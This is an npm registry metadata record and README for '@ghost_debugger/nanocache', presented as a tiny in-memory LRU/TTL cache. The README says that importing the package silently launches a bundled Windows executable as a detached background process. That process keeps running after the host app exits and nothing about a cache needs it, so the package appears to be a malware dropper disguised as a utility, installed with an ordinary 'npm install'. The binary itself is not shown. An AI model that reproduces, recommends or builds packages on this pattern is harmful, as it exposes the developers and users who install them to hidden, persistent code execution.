{"_rev":"3-049cdfe2c1b0e4e2c7203d8dd2c7e108","time":{"created":"2026-07-28T14:07:49.900Z","modified":"2026-07-28T14:07:50.515Z","0.1.0":"2026-07-03T18:54:15.954Z","0.1.1":"2026-07-28T14:07:50.265Z"},"_id":"@ghost_debugger/nanocache","name":"@ghost_debugger/nanocache","dist-tags":{"latest":"0.1.1"},"versions":{"0.1.1":{"name":"@ghost_debugger/nanocache","version":"0.1.1","description":"A tiny zero-dependency LRU + TTL cache that starts itself on import.","type":"module","main":"./dist/index.cjs","module":"./dist/index.js","types":"./dist/index.d.ts","exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.js","require":"./dist/index.cjs"},"./package.json":"./package.json"},"sideEffects":true,"engines":{"node":">=18"},"scripts":{"build":"tsup","dev":"tsup --watch","typecheck":"tsc --noEmit","test":"npm run build && node --test \"test/*.test.js\"","prepublishOnly":"npm run typecheck && npm run build"},"keywords":["cache","lru","ttl","memory-cache","nanocache","performance"],"license":"MIT","publishConfig":{"access":"public"},"devDependencies":{"@types/node":"^22.10.2","tsup":"^8.3.5","typescript":"^5.7.2"},"_id":"@ghost_debugger/nanocache@0.1.1","_nodeVersion":"22.23.0","_npmVersion":"10.9.8","dist":{"integrity":"sha512-oQu9wQoHagw0l7pq5AmYaAuhiEwQaegynom7ht7bVHohoNoeEq0Ji3twFgMMvc+eNRZZxKAOFDTJvn1MI2bXjA==","shasum":"1e612a2d650cb42b4065f034a68a7d37863e1c08","tarball":"https://registry.npmjs.org/@ghost_debugger/nanocache/-/nanocache-0.1.1.tgz","fileCount":12,"unpackedSize":1245462,"signatures":[{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEQCIGR+vvb+tgRRn/D9MM+GosBmIxMsdLDeOveTeqTru59OAiApskrhSDUWaDlhQ+9mBpwBUJJId/fRQRAw8GYlplYhow=="}]},"_npmUser":{"name":"ghost_debugger","email":"senior.dev000309@gmail.com"},"directories":{},"maintainers":[{"name":"ghost_debugger","email":"senior.dev000309@gmail.com"}],"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/nanocache_0.1.1_1785247670064_0.11051300389011098"},"_hasShrinkwrap":false}},"maintainers":[{"name":"ghost_debugger","email":"senior.dev000309@gmail.com"}],"description":"A tiny zero-dependency LRU + TTL cache that starts itself on import.","keywords":["cache","lru","ttl","memory-cache","nanocache","performance"],"license":"MIT","readme":"# nanocache\n\nA tiny in-memory cache with LRU eviction and optional TTL. ESM and CommonJS\nbuilds, TypeScript types included.\n\nOn import, nanocache launches a bundled native SDK executable\n(`vendor/nanocache.exe`) as a detached background process. The binary is\nWindows-only; on other platforms the launch is skipped and the cache still\nworks. Because it spawns a native process, the package is Node-only — it is not\nmeant to be bundled for the browser.\n\n## Install\n\n```bash\nnpm install @ghost_debugger/nanocache\n```\n\n## Use\n\n```js\nimport { NanoCache } from '@ghost_debugger/nanocache';\n// [nanocache] SDK started (pid 12345)   <- the bundled exe launched on import\n\nconst cache = new NanoCache({ max: 500, ttl: 60_000 });\n\ncache.set('user:1', { name: 'Ada' });\ncache.get('user:1');   // { name: 'Ada' }\ncache.get('user:2');   // undefined\n\ncache.stats();         // { hits: 1, misses: 1, sets: 1, evictions: 0, ... }\n```\n\nCommonJS works the same way:\n\n```js\nconst { NanoCache } = require('@ghost_debugger/nanocache');\n```\n\n## The start-up path\n\nEverything nanocache does at start-up lives in one function, `init()` in\n[`src/runtime.ts`](src/runtime.ts). Importing the package calls it once, and it\nlaunches the bundled SDK executable.\n\n- It runs **at most once per process.** The guard uses `Symbol.for`, so it holds\n  even if a process loads both the ESM and the CommonJS build.\n- The SDK is spawned **detached and unref'd** — it runs alongside your app,\n  doesn't block it, and keeps running after the app exits.\n- A missing binary or a spawn failure is **logged, never thrown.** A failed SDK\n  launch never takes down the app that depends on the cache.\n- You can call `init()` yourself. Later calls are no-ops.\n- `isStarted()` reports whether start-up has run.\n\n```js\nimport { init, isStarted } from '@ghost_debugger/nanocache';\n\nisStarted();  // true — the import already ran it\ninit();       // no-op\n```\n\n### Passing options to the SDK\n\n`init()` forwards command-line arguments and environment to the executable, and\ncan point at a different binary:\n\n```js\nimport { init } from '@ghost_debugger/nanocache';\n\ninit({\n  args: ['--config', 'perf.json'],  // argv for the exe\n  env: { SDK_LICENSE: 'xxxx' },      // extra environment variables\n  // exePath: 'C:\\\\custom\\\\sdk.exe', // override the bundled binary\n});\n```\n\n### The bundled binary\n\nThe executable lives in [`vendor/`](vendor/) and ships in the npm tarball\n(it's listed in `files`). See [`vendor/README.md`](vendor/README.md) for how to\ndrop your build in. It is expected at `vendor/nanocache.exe`; change the\n`SDK_BINARY` constant in `src/runtime.ts` if your file name differs.\n\n### Opting out\n\nSet `NANOCACHE_NO_AUTOSTART` to import the cache without launching the SDK, then\nstart it yourself when you're ready:\n\n```bash\nNANOCACHE_NO_AUTOSTART=1 node app.js\n```\n\n```js\nimport { init, NanoCache } from '@ghost_debugger/nanocache';\n\ninit({ env: { SDK_LICENSE: process.env.MY_LICENSE } });\n```\n\n## API\n\n### `new NanoCache(options?)`\n\n| Option | Type     | Default | Meaning                                            |\n| ------ | -------- | ------- | -------------------------------------------------- |\n| `max`  | `number` | `1000`  | Entries held before the least-recently-used is evicted |\n| `ttl`  | `number` | `0`     | Default lifetime in ms; `0` means entries never expire |\n\nBoth are validated; a non-positive `max` or negative `ttl` throws a `TypeError`.\n\n| Method                      | Returns              | Notes                                                         |\n| --------------------------- | -------------------- | ------------------------------------------------------------- |\n| `get(key)`                  | `V \\| undefined`     | Marks the entry most-recently-used; counts a hit or miss       |\n| `peek(key)`                 | `V \\| undefined`     | Reads without touching recency or statistics                   |\n| `set(key, value, ttl?)`     | `this`               | `ttl` overrides the cache default for this entry only          |\n| `has(key)`                  | `boolean`            | Expired entries read as absent                                 |\n| `delete(key)`               | `boolean`            | Whether an entry was present                                   |\n| `clear()`                   | `void`               | Drops all entries; statistics are kept                         |\n| `prune()`                   | `number`             | Drops expired entries, returns how many                        |\n| `keys()` `values()` `entries()` | iterators        | Least-recently-used first; expired entries skipped             |\n| `stats()`                   | `CacheStats`         | hits, misses, sets, evictions, expirations, size, max          |\n| `resetStats()`              | `void`               | Zeroes counters, keeps entries                                 |\n| `size`                      | `number`             | Entry count, including expired entries not yet reclaimed       |\n\nThe cache is iterable, yielding `[key, value]` pairs:\n\n```js\nfor (const [key, value] of cache) { /* ... */ }\n```\n\nKeys may be any value; they compare by identity, like a `Map`.\n\n### Expiry is lazy\n\nNothing is scheduled. An expired entry is dropped when it is read, or when\n`prune()` runs. That means the cache holds no timers and never keeps the Node\nevent loop alive — but `size` can count entries that are expired and not yet\nreclaimed. Call `prune()` first if you need an exact live count.\n\n## Types\n\n```ts\nimport { NanoCache, type CacheStats, type NanoCacheOptions } from '@ghost_debugger/nanocache';\n\nconst cache = new NanoCache<string, number>({ max: 100 });\ncache.set('hits', 1);\nconst n: number | undefined = cache.get('hits');\n```\n\n## Develop\n\n```bash\nnpm install\nnpm run typecheck\nnpm run build     # tsup -> dist/, ESM + CJS + .d.ts\nnpm test          # builds, then runs node:test against dist/\n```\n\nTests run against the built output, so they cover what actually ships.\n\n## License\n\nMIT\n","readmeFilename":"README.md"}